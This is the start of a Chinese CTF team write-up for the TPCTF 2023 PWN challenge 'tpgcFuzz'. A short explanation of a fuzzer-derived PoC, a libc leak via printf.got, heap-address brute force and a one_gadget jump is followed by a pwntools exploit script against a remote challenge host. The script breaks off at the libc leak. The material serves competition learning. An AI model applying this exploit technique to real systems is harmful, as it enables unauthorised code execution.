本次 TPCTF 2023,我们星盟ctf战队排名第6。PWNtpgcFuzz 出的 PoC 直接可以劫持程序流,根据 PoC 利用 printf.got 泄漏出 libc 地址。由于 PoC 需要间接跳转到我们写入的地址。但是我们只能写堆地址,故爆破堆地址。最终劫持程序流到 one_gadget,成功率1/4096。#!/usr/bin/env python3# -*- coding:utf-8 -*-from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')sh = remote('61.147.171.105', 64575)def take(content): sh.sendlineafter(b'> ', b'1') sh.sendlineafter(b'here:\n', content)def drop(): sh.sendlineafter(b'> ', b'2')def take2(content): sh.sendlineafter(b'> ', b'3') sh.sendlineafter(b'here:\n', content)def drop2(): sh.sendlineafter(b'> ', b'4')def fuse(content): sh.sendlineafter(b'> ', b'5') sh.sendlineafter(b'here:\n', content)def drop3(): sh.sendlineafter(b'> ', b'6')take2(b'a' * 2000)take(p64(0x41D028)[:7])fuse(b'5')drop3()drop2()libc_addr = u64(sh.recvn(
………………………………